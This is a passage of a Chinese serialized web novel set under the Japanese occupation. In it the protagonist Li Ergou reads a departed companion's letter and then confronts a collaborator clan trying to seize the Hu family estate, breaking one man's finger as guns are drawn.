宋小曼。 整整两个月了。 乱世相隔,不比太平年月,两日不见便心生惦念,更何况是兵荒马乱的两个月。 这两个月里,他看似忙得没有一丝空闲。 可每当夜深人静,旁人尽数睡熟,他躺在床上脑海里翻来覆去,全是宋小曼的身影。 是她眉眼清亮的模样,是她说话温和却有韧劲的语气,是两人彼此托付的光景。 越是乱世浮沉,越是惦念一份踏实的羁绊。 他心里清楚,自己当初是刻意躲着她。 除了不想被她代表的组织收编之外,他还有更深一层的担忧。 当下时局太乱,日本人步步紧逼,江东地界暗流涌动,宪兵队、县政府、维持会、皇协军,还有他掌控的清风集团。 各方势力盘根错节,他身上牵扯的事太多,桩桩件件都是掉脑袋的风险。 他怕自己身处旋涡中心,牵连了宋小曼。 所以他刻意回避,想着暂且和她保持距离,甚至心里盼望着她早点离开江东。 虽然不能见面,却至少可以保证安稳。 可这份刻意的躲避,换来的不是安稳,是日复一日的思念,缠在心口,挥之不去。 念头翻涌,再也压不住心底的牵挂,李二狗不再犹豫,转身朝着自己的住处走去。 这条路他走了无数次,熟得不能再熟。 短短一段路,他心里却翻江倒海,想着或许推门就能相见,消解这两个月的相思。 不多时,便走到了自家宅院门口。 青砖院墙,两扇木门,还是他离开时的模样,安安静静立在巷尾。 可抬眼一看,李二狗心头猛地一沉。 两扇大门的门环之上,挂着一把铜锁,锁身落了一层薄灰,一看便是许久未曾开启的样子。 宋小曼不在家? 这个念头瞬间冒了出来。 换作旁人,或许会当即心生失落,可李二狗心里并无太多意外。 乱世之中,人居无定所,出门奔走皆是常事。 他神色平静走上前,掏出随身带着的钥匙,抬手打开铜锁,吱呀一声推开木门,迈步走进了院里。 小院干干净净,院里的草木无人打理,长了些许杂草,透着一股子冷清。 他径直走进正屋,刚跨过门槛,鼻尖率先捕捉到一丝异样。 和自己判断的一样。 屋里不是有人日常居住的烟火气,是一种空空荡荡的冷清味道。 李二狗目光快速扫过整间屋子。 屋内桌椅板凳、陈设摆件,全都摆放得整整齐齐,他的目光落在八仙桌正中央。 桌面正中,放着一封叠得整齐的素色信封,一眼就能看出是特意留下的。 李二狗轻轻拿起那封信封。 信封很轻,捏在手里却重得压心。 他直接拆开封口,抽出里面一张平整的信纸。 纸上字迹清秀利落,笔锋带着几分韧劲,是他再熟悉不过的,宋小曼的笔迹。 一行行字缓缓映入眼底。 “二狗,我有事要离开江东一段时间,局势纷乱,身不由己。等下次回来的时候,希望我们会是一个战壕的战友,期待与你并肩作战,勿念。小曼亲书,二月十八。” 短短几行字,寥寥数语,没有多余的寒暄,没有细碎的叮嘱,只有一句并肩作战的期许,一句勿念。 李二狗的目光锁在落款的日期上,心口一沉,翻涌起无尽的懊恼与自责。 二月十八。 如今已是三月下旬。 她离开江东,已经整整一个多月了。 整整三十多天,杳无音信,自己却毫不知情。 第792章 胡汉三上门挑衅 兵荒马乱,烽火遍地,眼下这乱世世道,处处是关卡哨卡,处处是战火流寇,日本人四处扫荡,伪军横行霸道,好好的太平地界,遍地危机四伏。 她一个女子,孤身一人,离开熟悉的江东,去往未知的远方,前路漫漫,吉凶难料。 这一刻,所有的思念,尽数化作汹涌的悔意,狠狠揪住了他的心脏。 是他的错。 全都怪他。 若不是他当初刻意躲避,若不是他心里藏着顾虑,若不是他想着刻意保持距离护她安稳,或许她就不会心生冷淡,不会孤身远走。 或许,她会留在江东,留在这片尚且安稳的地界,不用独自奔赴前路未知的风雨。 万一……万一她在外遭遇不测…… 这个念头刚冒出来,李二狗周身的气息瞬间冷了下来。 若是真的那般,他李二狗这辈子,永世都不会原谅自己。 他直直地站在原地,手里捏着那张薄薄的信纸,手指微微发抖。 屋里依旧冷清,灰尘静静落着,满腔的思念、自责、担忧、懊悔,尽数压在心底,堵得他胸口发闷。 他沉默了许久,眼底的落寞才一点点褪去,取而代之的是沉淀下来的冷沉。 乱世之中,儿女情长再重,也抵不过眼前的危机。 他没有多余的时间沉溺悲伤。 眼下江东局势凶险,日本人围山封锁,伪政权势力猖獗,胡汉三这类汉奸小人仗势欺人,一桩桩烦心事接踵而至,巨大的压力压在肩头,他根本没有资格独自伤怀。 片刻之后,他小心翼翼将信纸折好,贴身收好。 收拾好心情,压下心底翻涌的万千情绪,他转身踏出家门。 眼下最紧要的是稳住局面,只有守住了这片方寸之地,日后才有机会等到她归来,才有机会和她并肩作战。 收拾好心情,李二狗径直朝着胡家大院的方向走去。 刚走到胡家大院的大门外,远远就看见张二驴站在高高的门槛边,来回踱步,频频张望,神色焦灼,显然已经等了他许久。 张二驴一看见李二狗的身影,连忙快步迎了上来,语气慌张地说道:“狗哥!你可算是回来了!” 李二狗看他这副焦灼慌乱的神色,心里暗叫不好。 若无突发大事,张二驴绝不会这般失态。 他神色不变,语气沉稳地说道:“别急,慢慢说,出什么事了?” 张二驴咽了口唾沫,话说得磕磕绊绊:“是……是胡汉三来了!他带着好几个人,这会儿正在大院客厅里跟四奶奶对峙呢!他来的目的……哎,说不清,反正不是好事!狗哥,你快去客厅看看就知道了!” 李二狗眼底瞬间掠过一抹冷冽的寒光。 方才在山上议事,他才刚刚安排陈老三,今夜带人悄悄去胡汉三家里敲打警告,让这个汉奸走狗收敛野心,别死心塌地给日本人卖命,给自己留条后路。 他这边刚部署完,胡汉三反倒抢先一步,直接找上门来了。 心思一转,李二狗瞬间看透了对方的算盘。 秃子头上的虱子,明摆着的事。 胡汉三的目标,从来都是胡家大院这份偌大的家业。 早前,胡汉三便一直暗中觊觎胡家大院的家产,狼子野心藏了许久。 那时候,李二狗是清风寨的大当家,后来又成为仙人洞镇维持会会长,背后还有孙竹刚这位县长做靠山,他几次出手狠狠收拾打压过胡汉三,把他的野心全部消灭在萌芽状态,让他这些年来不敢再有半分妄动,只能夹着尾巴做人。 可今时不同往日。 眼下时局变动,人事更迭。 李二狗被撵出清风集团,又被撤去了仙人洞镇维持会会长的头衔。 更关键的是,曾经的靠山孙竹刚,早已被罢免了县长职务。 李二狗现在是要权没权,要人没人,连靠山都倒了。 在胡汉三这种欺软怕硬的小人眼里,这就是天大的机会。 他如今顶替李二狗,坐上了仙人洞镇维持会会长的位置,背靠日本人的势力,自觉已经无人敢惹。 在他看来,没了职权没了靠山的李二狗,不过是没了獠牙的猛虎,不足为惧。 所以他笃定此刻正是趁机霸占胡家大院产业的最好时机,便肆无忌惮带着人手,上门寻衅滋事。 洞悉了胡汉三的阴谋之后,李二狗微微一笑,径直朝着大院正厅走去。 越靠近客厅,越能听见屋里传来的阵阵嚣张吵嚷声,阴阳怪气,咄咄逼人。 走到客厅门口,门口两侧笔直地站着八个身强力壮的汉子,他们个个身穿短褂,腰间挎着长枪,眼神凶狠,面色冷漠,直直盯着来往之人,满身凶悍的戾气。 这八个人,身形陌生,面目凶悍,根本不是胡家大院的家丁护院,清一色都是胡汉三特意带来的打手爪牙,专门带过来撑场面、壮声势、压人的。 八个带枪打手冷冷瞥了一眼走近的李二狗,眼神轻蔑、目中无人,丝毫没有退让敬畏之意,满脸都是仗势欺人的嚣张。 换作旁人,见这阵仗、这凶悍气场,早就心生畏惧。 可李二狗却神色坦荡,眼底没有半分波澜。 区区几个狐假虎威的走狗爪牙,几把破枪,还吓不住他。 他眼皮都未曾抬一下,无视两侧虎视眈眈的打手,身姿挺拔地走进了客厅。 客厅正堂,气氛早已紧绷到了极点,剑拔弩张,压抑窒息。 正位之下,四张太师椅上,大剌剌坐着四个人。 为首的正是胡汉三。 他身穿绸缎长衫,头戴日本人配发的黄色鬼子帽,面色阴沉,眉眼阴鸷,满脸的倨傲自大。 他身侧依次坐着他的三个心腹晚辈,儿子胡豺、胡豹,侄子胡彪。 四人清一色全都戴着黄色鬼子帽,穿戴光鲜,眼神刁钻,一个个贼眉鼠眼,浑身透着一副投靠日寇仗势欺人的汉奸做派,嚣张跋扈,不可一世。 四人看见李二狗走进客厅,脸上没有半分慌乱。 他们轻蔑地扫了李二狗一眼,随即嘴角勾起浓浓的讥讽冷笑,姿态傲慢至极,屁股死死钉在椅子上全然是一副不屑一顾的姿态。 第793章 豺狼虎豹 客厅另一侧,孤零零站着李素文。 偌大的厅堂之上,对面四人步步紧逼、言语羞辱,一众打手在外虎视眈眈,所有压力尽数压在她一人身上。 她一介女子,孤身对峙四个阴险狡诈、无耻卑劣的男人,早已无力招架。 对方四人你一言我一语,轮番刁难、步步紧逼,言语刻薄毒辣,字字诛心,根本不给她半点喘息的机会。 这些年来,她一直跟在李二狗身边,见惯了人心险恶,早已不是当初那个柔弱无知的女子。 她深知,面对这群毫无底线的无赖汉奸,任何辩解,都是白费口舌,只会让对方愈发嚣张。 与其徒劳争辩,落入对方圈套,不如闭口不言,沉默以对。 沉默,便是此刻最有力的回击。 所以从一开始,不管四人如何叫嚣、如何羞辱、如何逼迫,她始终闭口不语,不反驳、不搭话、不示弱。 可即便心中沉稳,独自对峙许久,她心底依旧压着无尽的委屈与焦灼。 此刻,当她看见那道熟悉挺拔的身影走进客厅,看见李二狗到来的瞬间,所有隐忍的焦灼瞬间消散,眼底瞬间亮起耀眼的光芒。 全身的压力和惶恐尽数褪去,心底瞬间落满了踏实。 她脸上紧绷的线条瞬间柔和下来,露出一抹灿若桃花的笑容,柔道说道:“二狗,你回来了。” 这一声呼唤温柔亲昵,发自肺腑,满是依赖与信任。 可就是这一句寻常的亲近话语,瞬间刺痛了一旁嚣张跋扈的众人。 站在一旁的胡彪当即嗤笑一声,,满脸的不屑与讥讽,他阴阳怪气地说道:“呵!真是笑话!堂堂胡家大院的四奶奶,身份尊贵,地位体面,竟然对着一个小小管家,表现得这般亲昵?他到底是你什么人?” “你不要胡说八道。”李素文急忙反驳道。 “怎么?我说错了吗?难道我们老胡家是没人了吗?堂堂主子却如此巴结一个下人,传出去,岂不是要笑掉全镇人的大牙!” 话音刚落,一旁的胡豺立刻跟着附和起哄,满脸猥琐,言语更是肮脏不堪。 “就是就是!我早就看出来不对劲了!四奶奶跟这个李二狗,平日里走得太过亲近,眉眼之间根本不清不楚,摆明了就是有奸情!” “依我看,这般不知廉耻、败坏门风的人,根本不配留在胡家大院!必须立刻赶出大院!” 性子更暴戾张狂的胡豹冷笑一声,大声喝道:“赶出胡家大院?那也太便宜这对狗男女了!” 他眼神凶狠,死死盯着两人,厉声叫嚣道:“按照我们老胡家祖传的家规!败坏门风者,理应沉塘处死,以正家风!” “说得对!沉塘!必须沉塘!”胡豺立刻跟风嘶吼,气焰嚣张至极。 三人你一言我一语,句句恶毒,极尽羞辱之能事,恨不得当场给两人安上罪名,置于死地。 这般无耻卑劣的污言秽语,句句戳人底线。 素来温婉沉稳的李素文,再也忍不住心底的怒火。 她一张白皙俏丽的脸颊瞬间涨得通红,气血翻涌,又气又怒,胸口剧烈起伏。 她猛地站起身,纤细的手指颤抖着,指着眼前这群面目狰狞、无耻至极的人,气得浑身发抖,半晌都说不出一句完整的话:“你们……你们……你们简直无耻至极!血口喷人!” 看着李素文被气得浑身颤抖、满脸通红,胡汉三一伙脸上的嘲讽与嚣张更甚,个个面露得意之色。 而自始至终,站在一旁的李二狗,脸上始终云淡风轻。 他太了解这群人的本性了。 无赖小人,卑劣无耻。 这般恶语中伤的龌龊手段,本就是他们这类人的惯用伎俩,完全贴合他们卑劣肮脏的本性。 从进门的那一刻起,对方所有的羞辱、算计,全都在他的预料之中。 他冷眼淡淡地扫过四人。 胡汉三、胡彪、胡豺、胡豹四人,头戴刺眼的日本黄色鬼子帽,衣冠鲜亮,却难掩骨子里的猥琐卑劣。 一个个贼眉鼠眼、面目丑陋,眼神里满是贪婪、嚣张与狂妄,满身都是为虎作伥的奴才嘴脸,丑陋至极。 李二狗径直走到李素文身侧的椅子旁坐下。 他没有刻意避嫌,没有刻意拉开距离,全然不在意旁人的污言秽语。 身正不怕影子斜,他行事坦荡,何须避嫌? 坐定之后,他抬眼看向一直故作高深的胡汉三,语气平淡地说道:“三太爷,不知今日是什么风,把您老人家这般大人物,吹到我们小小的胡家大院来了?” 从李二狗进门至今,胡汉三自始至终没有开过一口。 此刻的他,早已今时不同往日。 以前李二狗手握实权,背靠大树,他还要心生忌惮。 可如今,李二狗一无所有,无权无势,说白了,只是胡家大院一个看家的管家罢了。 而他胡汉三,是仙人洞镇名正言顺的维持会会长,手握伪权,背靠日寇,权势滔天。 在他眼里,如今的李二狗,身份低微,根本没有资格跟自己平等对话。 他打心底里瞧不上李二狗。 所以他刻意端着架子,故作高傲,连正眼都懒得瞧李二狗一眼。 听见李二狗的问话,他依旧不看人,抬手端起手边的青花瓷茶杯,指尖慢悠悠摩挲着杯沿,姿态傲慢。 轻轻啜了一小口热茶,他慢条斯理放下茶杯,把装腔作势的模样演绎得淋漓尽致。 半晌,他才抬了抬眼皮,居高临下地扫了李二狗一眼,语气傲慢,带着极致的轻视。 “笑话。这是我们胡家的宗族大院,是我胡氏族人的祖产故土。我胡汉三是胡家长辈,回自家院子看看,难道还需要看人脸色不成?” 他眼神一沉,语气陡然冷厉起来:“你不过是胡家雇来的一个小小的管家,下人奴仆而已。我们老胡家的宗族家事,还轮不到你一个外人掺和插嘴!” “你先下去吧!”他抬手一挥,满脸高傲:“我跟自家侄媳妇有家事要谈,你一个外人在此,多有不便,赶紧出去候着!” 第794章 任凭狂风骤雨,我自岿然不动 话音刚落下,一旁的胡豺立刻附和道:“没错!我们老胡家的主子长辈在这里说话,是商议宗族大事,哪有你一个下人插嘴落座的份!简直是不知天高地厚,赶紧滚出去!” “快点滚!别在这碍眼!”胡豹也立刻起身叫嚣,凶相毕露。 一旁的李素文眼里满心担忧,她悄悄侧头看向身侧的李二狗,满心焦灼。 她最怕的,就是李二狗受不了这般羞辱,为了所谓的骨气愤然离场。 只要李二狗一走,偌大的胡家大院,便只剩下她一个人面对这群豺狼虎豹。 届时胡汉三一众恶人为所欲为,胡家大院产业顷刻间便会被他们蚕食霸占。 可让她安心的是,李二狗自始至终都稳如泰山。 任凭几人肆意羞辱,他依旧稳稳地坐在椅子上,脊背挺直,神色淡然,眼皮都未曾抬一下,更是一点起身的意思都没有。 任凭狂风骤雨,我自岿然不动。 待几人叫嚣完毕,厅堂再次安静下来之后,李二狗才缓缓开口道:“三太爷这话怕是不妥吧?大奶奶临走之前,亲口将胡家大院所有事务全权托付于我,让我一定守好大院。” 他目光冷冷地扫过对面四人:“我的职责,便是守好胡家祖产。若是被一些豺狼鼠辈趁乱鸠占鹊巢,暗中算计胡家家业,此时我若是退让回避,便是辜负了大奶奶的信任嘱托,这个责任,我可担不起啊。” 这话一出,字字戳心,明着暗着,直接把胡汉三四人比作豺狼鼠辈,是觊觎家产的小人。 胡豺、胡豹两兄弟本就性情暴戾,此刻被李二狗当众暗讽打脸,两人瞬间脸色铁青,怒火攻心。 “噌!” “噌!” 两道声响几乎同时响起,胡豺、胡豹兄弟二人猛地从椅子上弹身站起,双目赤红,怒发冲冠,死死地瞪着李二狗,满眼凶光。 “李二狗!你他娘的别给脸不要脸!”胡豺咬牙切齿,厉声怒骂道,“这里是胡家大院,是我们胡氏祖地!轮得到你一个外人在这里指手画脚、说三道四?想替我们老胡家做主?我告诉你,门都没有!” “对!门都没有!赶紧滚出去!”胡豹紧跟着嘶吼道。 看着两人气急败坏的模样,李二狗脸上依旧挂着一抹淡淡的冷笑:“没有门?那就走窗好了。活人岂能被尿憋死?天底下没有堵死的路,更没有你们仗势欺人的道理。” “你!你简直是找死!”胡豹被这番话彻底激怒,他手指着李二狗,恶狠狠地威胁道,“李二狗,我最后警告你一次!识相的立刻起身滚出去!再敢胡言乱语,就别怪我们兄弟几个对你不客气了!” 面对这赤裸裸的武力威胁,李二狗面不改色心不跳。 “大奶奶全权托付我管理胡家大院,大院内的一切事务,由我全权做主。没有大奶奶的命令,普天之下,谁都没有资格赶我走!谁来都不行!” 这话说的强硬霸道,直接堵死了所有的退路。 一旁一直冷眼旁观的胡彪,此刻终于按捺不住心底的暴戾怒火。 他年纪虽然已是不小,但性子却最是冲动狂躁,平日里也是嚣张惯了,仗着胡汉三的权势,在镇子上横行霸道,何时受过这般轻视? “噌!” 他站起来猛地大步跨出,瞬间冲到李二狗面前,居高临下站定,一根手指伸出来指着李二狗的鼻尖,极尽嚣张跋扈。 他面目狰狞,破口大骂道:“李二狗!你他娘的真是敬酒不吃吃罚酒!落魄的凤凰不如鸡,你只不过是一个没权没势的废物而已,也敢在我们面前耀武扬威!信不信老子现在分分钟弄死你?!” 手指直指鼻尖,极尽挑衅之能事。 换作旁人,早已吓得瑟瑟发抖。 可李二狗端坐原位,脸上神色平静,没有半分惧色。 他直视暴怒的胡彪,语气低沉地说道:“我李二狗这辈子,最恨旁人用手指着我的鼻子说话。我给你最后一次机会,立刻把你的脏手拿开。方才所有不敬,我可以当做什么都没发生。” 听见这话,胡彪像是听见了一个天大的笑话。 他当场仰头,爆发出一阵肆无忌惮的大笑。 “哈哈哈——” 笑声粗犷嚣张,满是嘲讽与不屑。 一旁的胡豺、胡豹也纷纷跟着大笑起来,就连一直坐在那里人五人六的胡汉三也忍不住跟着笑了起来。 今日他们四人有备而来,门外八个带枪的爪牙虎视眈眈,摆明了就是专门上门找茬。 如今他们占据绝对上风,怎么可能会惧怕一个无权无势的李二狗? 简直是天大的笑话! 胡彪笑得前仰后合,眼神愈发凶狠嚣张,他手指不仅没有收回,反而得寸进尺,又往前凑了几分,一下下轻点着李二狗的鼻尖,疯狂挑衅道:“老子就指着你了!老子就不拿开!你能怎么样?李二狗,你倒是动老子一下试试?老子倒要看你有没有这个胆子,有没有这个本事!” 嚣张至极,狂妄至极,无人至极。 厅堂气氛瞬间紧绷到极致,大战一触即发。 李素文在一旁看得心头骤紧,下意识攥紧了手心,满心紧张。 可下一秒,胡彪张狂的笑声还卡在喉咙里,挑衅的指尖还停在李二狗鼻尖前。 电光火石之间,根本没人看清李二狗的动作! 众人只看见,李二狗快如残影,精准无比地扣住了胡彪直指自己鼻尖的那根手指。 力道迅猛、精准、决绝! 只听见一声清脆刺耳的“咔嚓”骨裂声,骤然响彻寂静的客厅! “啊——!!!” 方才还嚣张狂妄的胡彪,整个人疼得浑身剧烈抽搐,身体瞬间弓成了一只虾米,杀猪一般的哀嚎嘶吼响彻整座大院! 李二狗端坐原位,身姿挺拔,神色冰冷,眼神无波无澜。 当着胡汉三、胡豺、胡豹三人的面,当着门外八个持枪爪牙的面,干净利落,直接掰断了胡彪挑衅的手指! 一招制敌,干净利落! 方才四人的嚣张跋扈,在这一刻,被狠狠地碾碎! 第795章 胡汉三的算计 “李二狗,你……你小子这是在找死!” 胡汉三万万没想到李二狗竟然敢在自己面前动手。 他一张老脸憋得通红,脖颈上的青筋一根根暴起来,像是多年的老树根盘在皮肉底下。 他死死地盯着坐在那里稳如泰山的李二狗,一双浑浊的三角眼盛满了阴鸷的戾气,声音尖利,带着小人得志者惯有的那种蛮横。 胡汉三在仙人洞镇蛰伏多年,如今靠着日本人撑腰终于坐上仙人洞镇维持会会长的位置。 如今在仙人洞镇,寻常百姓见了他,哪个不是战战兢兢? 谁敢不服从,立马就会招来他们一顿毒打。 前段时间,他们安排爪牙在各村抓壮丁,家家户户的男丁基本都被他们抓起来送去给日本鬼子挖壕沟修炮楼。 因为工作出色,胡汉三还得到樱木花道亲自颁授的一枚奖章。 胡汉三当上维持会会长没多长时间,仙人洞镇的百姓就已恨透了他们! 可恨归恨,大家都是敢怒不敢言,谁也不敢得罪他们! 可偏偏眼前这个李二狗,他只不过是胡家大院雇来的一个管家,今日竟敢屡屡顶撞,一点不把他这个胡家长辈而且是镇上的实权人物放在眼里,这口气,他如何咽得下去? 落魄的凤凰不如鸡,如今的李二狗早已不是原来的李二狗了,胡汉三根本不把他放在眼里。 怒火烧得他胸口阵阵发堵,胡汉三猛地抬手,朝着门外厉声大喝一声:“来人呐!都给我进来!” 话音刚落,屋外立刻响起一阵杂乱的脚步声,夹杂着枪栓拉动的清脆脆响,透着一股骇人的杀伐之气。 八个身着黑布短褂、腰扎皮带的壮汉应声而入,他们个个面色凶悍,是胡汉三带出来的爪牙,平日里跟着他横行乡里,以前都是仙人洞镇有名的泼皮无赖。 八个人迅速在大堂两侧站定,黑洞洞的八支“三八大盖”步枪的枪口全部对准了端坐不动的李二狗。 冰冷的枪口透着刺骨的寒意,只要胡汉三一声令下,下一秒便是血溅当场的局面。 整个大堂瞬间死寂下来,空气仿佛都被这紧绷的气氛冻住了,压抑得让人喘不过气来。 李素文吓得脸色惨白,双手不自觉地拽着自己的衣角,眼巴巴地看着李二狗。 堂外的风声隐约传进来,衬得屋内的对峙愈发凶险。 可被八杆枪指着的李二狗,自始至终坐姿安稳,瞅都懒得瞅上他们一眼,脸上更是没有一点慌乱,平静得令人发指。 见此情形,胡汉三先是一愣,随即脸上的怒色褪去,缓缓露出一抹阴恻恻的狞笑。 那笑容挂在他那张苍老的脸上,褶皱扭曲,又阴又毒,活像一头伺机扑杀猎物的老狐狸,满眼都是掌控一切的得意。 “李二狗,事到如今,你还敢在我面前故作深沉?”胡汉三往前踱了两步,双手背在身后,语气阴冷,“是你小子自己不知天高地厚,执意找死,这可怨不得我们爷们心狠手辣啊!” 这时候,他身后传来一阵压抑不住的的哀嚎声。 胡彪方才被李二狗收拾得极惨,手指被硬生生地掰断,此刻正瘫软地趴在青砖地面上,额头上布满冷汗,丝绸褂子早已被汗水浸透,模样狼狈至极。 他疼得浑身止不住哆嗦,又不是太过狼狈,只能死死咬着后槽牙,断断续续地哀嚎着,一双眼睛怨毒地瞪着李二狗,他此时恨不得上前生吞活剥了李二狗。 听闻胡汉三的狠话,胡彪像是抓到了救命的稻草一般,再也顾不上浑身的剧痛,挣扎着扭动身子,嘶哑着嗓子嘶吼起来。 “三叔!别跟这狗东西废话了!你快下令!直接毙了他!我今天非要弄死这个王八蛋不可!” 他在仙人洞镇向来横行霸道,仗着胡汉三的势力肆意欺辱旁人,何时吃过这么大的亏? 今日被李二狗当众掰断手指,丢尽了脸面,心中早已是滔天怒火,满心满眼都只想让李二狗血债血偿。 站在一旁的胡豺,性子和胡彪如出一辙,嚣张跋扈,平日里跟着胡彪狼狈为奸、欺压乡邻,早就看独掌胡家大院大权的李二狗不顺眼。 以往碍于李二狗的身份地位,他不敢妄动,只能暗暗记恨。 如今眼见李二狗被八支步枪团团围住,生死只在胡汉三一念之间,他立刻上前一步,满脸戾气地说道:“是啊爹!跟这种人还有什么好说的!赶紧下令杀了李二狗吧!留着他早晚是个祸害!今日正好除了这心腹大患!” 兄弟二人一唱一和,句句都逼着胡汉三立刻动手,杀意凛然,嚣张的气焰充斥着整座大堂。 可胡汉三眼底的杀意却隐隐压了下去。 旁人只看到眼前对峙的局面,只想着杀了李二狗出口恶气,可他活了大半辈子,心思远比这群头脑简单的小辈更加深沉毒辣。 姜终究是老的辣,他心里跟明镜一样。 李二狗在胡家大院扎根数年,里里外外大小事务全由他一手打理,府中上下、邻里宗族,谁不认可他的本事? 更关键的是,胡家大院所有的房契、地契,这些最值钱的家底,此刻定然全都掌控在李二狗手中。 若是此刻一时被怒火冲昏头脑,贸然将李二狗打死,他死了不要紧,可他保管的所有的契约凭证便彻底没了下落。 到时候偌大的胡家大院,千亩良田,就成了一笔糊涂账。 他心里清楚,于兰芝带着年幼的孩子远在上海避难,早晚还得回来。 那母子二人是胡家大院正统遗孀遗孤,名分上占着绝对的道理。 一旦李二狗身死,契约遗失,等于断了胡家大院产业的合法凭据。 等日后于兰芝带着孩子回来,凭着正统名分讨要家业,他这个旁支长辈,根本无从辩驳。 届时忙活一场,不仅落不下半点家产,反而会白白给他人做嫁衣,胡家大院最终还是要归于于兰芝母子手中,他所有的算计都会付诸东流。 第796章 李二狗的反思 除此之外,胡氏宗族还有一众年迈的长辈老臣,他们个个都守着老规矩,非常看重名分情理。 今日若是他毫无缘由,仅凭一己私怨,在胡家大院当众打死打理胡家大院多年的李二狗,必然会引得宗族老人们群起不满,落一个恃强凌弱、蛮横霸道的恶名,彻底失了宗族人心。 他如今地位看似稳固,却也离不开宗族的声望支撑,万万不能闹出众叛亲离的局面。 他苦心筹谋这么久,贪图的从来不是一时的杀伐痛快,而是要将胡家大院偌大的产业彻底攥在自己手里,给子孙后代攒下一份世世代代都吃不完花不尽的丰厚家业。 想要名正言顺地接管胡家大院一切,唯一的办法,就是从李二狗手中拿到所有房契、地契,这才是万无一失的稳妥路子。 再者,眼下时局混乱,日本人极力在江东打造大东亚共荣的新秩序,做事必须师出有名。 李二狗早前曾任仙人洞镇维持会会长,虽已卸任,不再身居其职,但在整个江东地界,人脉声望不低,也算得上是有一定影响力的人物,绝非可以肆意打杀的无名之辈。 更重要的是,李二狗背后还有靠山。 前任江东县长孙竹刚,如今虽已离任县长一职,却依旧挂着县政府顾问的头衔,在县政府和日本人那边都有几分薄面,说得上话。 今日他若是没有正当理由,私自动手打死李二狗,传出去必然惹人非议。 万一孙竹刚念及旧情,或是为了公道,特意跑到日本人跟前为李二狗鸣不平,弹劾他肆意杀人,到时候日本人追责下来,他这个维持会会长的位置能不能保得住都难说,只会平白惹上一身麻烦,对上对下都没法交代。 他此番带人来到胡家大院,终极目的是夺取胡家大院家产,根本不是为了杀人泄愤。 轻重利弊,他心里分得明明白白,绝不会被一时的怒火冲昏头脑,因小失大。 胡汉三心中的念头飞速翻转,脸上却依旧维持着阴沉强势的模样,不动声色。 一旁站着的胡豹,性子最为暴躁乖戾,骄纵蛮横,耐不住一点性子,看着眼前僵持不下的局面,早就急得浑身发痒。 他见胡汉三迟迟不下杀人的命令,只是死死地盯着李二狗沉默对峙,心头的焦躁愈发浓烈,当即跨步上前,语气急躁地催促起来。 “爹!你还在等什么?赶紧下令吧!一枪崩了李二狗这个王八蛋!我早就看他不顺眼了,今日非弄死他不可!” 胡汉三的两个儿子,胡豺、胡豹,加上侄子胡彪,个个都是嚣张跋扈的性子,平日里在镇上仗着胡汉三的权势横行霸道,欺压百姓、为所欲为,从来都是他们拿捏别人,从未受过一点委屈。 可他们纵是再狂妄自大,心底里依旧对掌控全镇权势的胡汉三心存敬畏。 只要胡汉三不下令,就算他们再急不可耐,也万万不敢私自动手,只能按捺着怒火频频催促。 大堂之内,气氛愈发紧绷。 八名持枪爪牙一动不动,枪口始终锁定李二狗。 过了片刻,胡汉三才慢悠悠地开口说话。 他的声音拖得老长,带着几分居高临下的审判意味,看似语重心长,实则句句裹挟着威逼胁迫。 “李二狗,你好好看看眼前的场面吧。” 他抬手指了指两侧持枪的爪牙,又扫了一眼地上哀嚎的胡彪和身旁暴怒的两个儿子,语气里带着虚伪的惋惜。 “如今你已是惹得众怒,我胡家上下,人人都恨不得取你性命。事到如今,你就不好好反思反思你为何会落得这般境地吗?” 这番十足的强盗逻辑,听得李二狗心中暗自觉得可笑。 从头到尾,是胡汉三一家蓄意夺权,无端挑起事端,如今反倒颠倒黑白,把所有过错都扣在他的头上,将自己包装成受害的一方,实在是荒唐而又卑劣。 可纵使被八杆步枪指着,身陷绝境的李二狗脸上依旧不见半分怯色。 他端坐在原位,身姿挺拔,脸上依旧挂着那副云淡风轻的惯有笑容。 他目光坦然地迎上胡汉三的审视,不见丝毫畏惧,自带一股压得住场面的气度。 面对胡汉三虚伪的诘问,他声音清淡地说道:“三太爷说得很有道理,我反思过了。” 闻听此言,胡汉三顿时微微一怔,眼底闪过一丝意外,不过想想也是合情合理。 这般生死悬于一线的绝境,任谁都会慌了心神。 他料定李二狗必然是怕了怂了,这才低头服软、主动认错。 一念及此,胡汉三心中顿时生出几分掌控全局的得意,嘴角勾起一抹轻蔑的笑意。 “哦?呵呵,难得啊,李二狗。看来你终于是开窍了,知道反思自己的过错,这便是好事,算是你的一点小小的进步。” 他摆出长辈训导晚辈的姿态,慢条斯理地说道:“那你倒是说说,你究竟反思出了什么道理了?” 大堂里所有人的目光齐刷刷聚焦在李二狗身上,八名持枪爪牙眼神凶狠,胡家几人满脸戾气,都等着看他跪地服软。 在所有人看来,李二狗已是瓮中之鳖,除了妥协求饶,再无半点出路。 迎着满室凶狠的目光,李二狗笑意不变,眉眼从容淡定,语气轻飘飘地说道:“我反思出来的道理其实很简单。” 他目光淡淡地扫过胡汉三,又掠过一旁气急败坏的胡豺、胡豹,还有地上哀嚎不止的胡彪,语气平静地说道:“这些年,我待你们几个,实在是太过仁慈了。” “总感觉你们是我们老爷的本家,很多事都不愿和你们计较,谁知你们非但不感恩,反而如此恩将仇报!” “若是我往日手段强硬几分,不顾及你们情面,你们今日断然不敢这般嚣张跋扈,站在我面前这样颐指气使!” 一句话落地,如同平地惊雷,狠狠地戳在每个人的心窝之上! 谁也没想到,被八支枪团团围困的李二狗,非但没有半分服软认错的意思,反倒敢当众反向斥责! 第797章 小不忍则乱大谋 胡汉三当场被李二狗气得浑身发抖,他脸上的老腊肉一阵一阵哆嗦着,花白的胡子直接气歪,原本阴沉得意的脸色瞬间变成铁青一片! 他是堂堂仙人洞镇维持会会长,日本人面前的大红人,竟被一个小小的管家如此当面嘲讽? 简直是胆大妄为,不知死活! “好!好!好!好一个伶牙俐齿的李二狗!”胡汉三气得咬牙切齿,“我看你是敬酒不吃吃罚酒!当真以为我不敢杀你吗?你再敢这般不知悔改,休怪我对你不留情面!” 身后的胡豹本就暴躁易怒,此时他再也按捺不住心中的杀意,听完李二狗这番话,气得怒火攻心。 他猛地拔出腰间的驳壳枪,枪栓“咔嚓”一声脆响,嘴里怒吼道:“爹!你跟这种不知死活的废物废什么口舌!纯属浪费功夫!不如让我直接一枪毙了他,一了百了!” 话音未落,胡豹抬手就要扣动扳机,当场射杀李二狗! 李素文吓得惊声惊叫起来。 千钧一发之际,胡汉三眼疾手快,猛地伸手一拦,死死按住了儿子举枪的手腕,硬生生拦了下来。 “豹子!给我住手!” 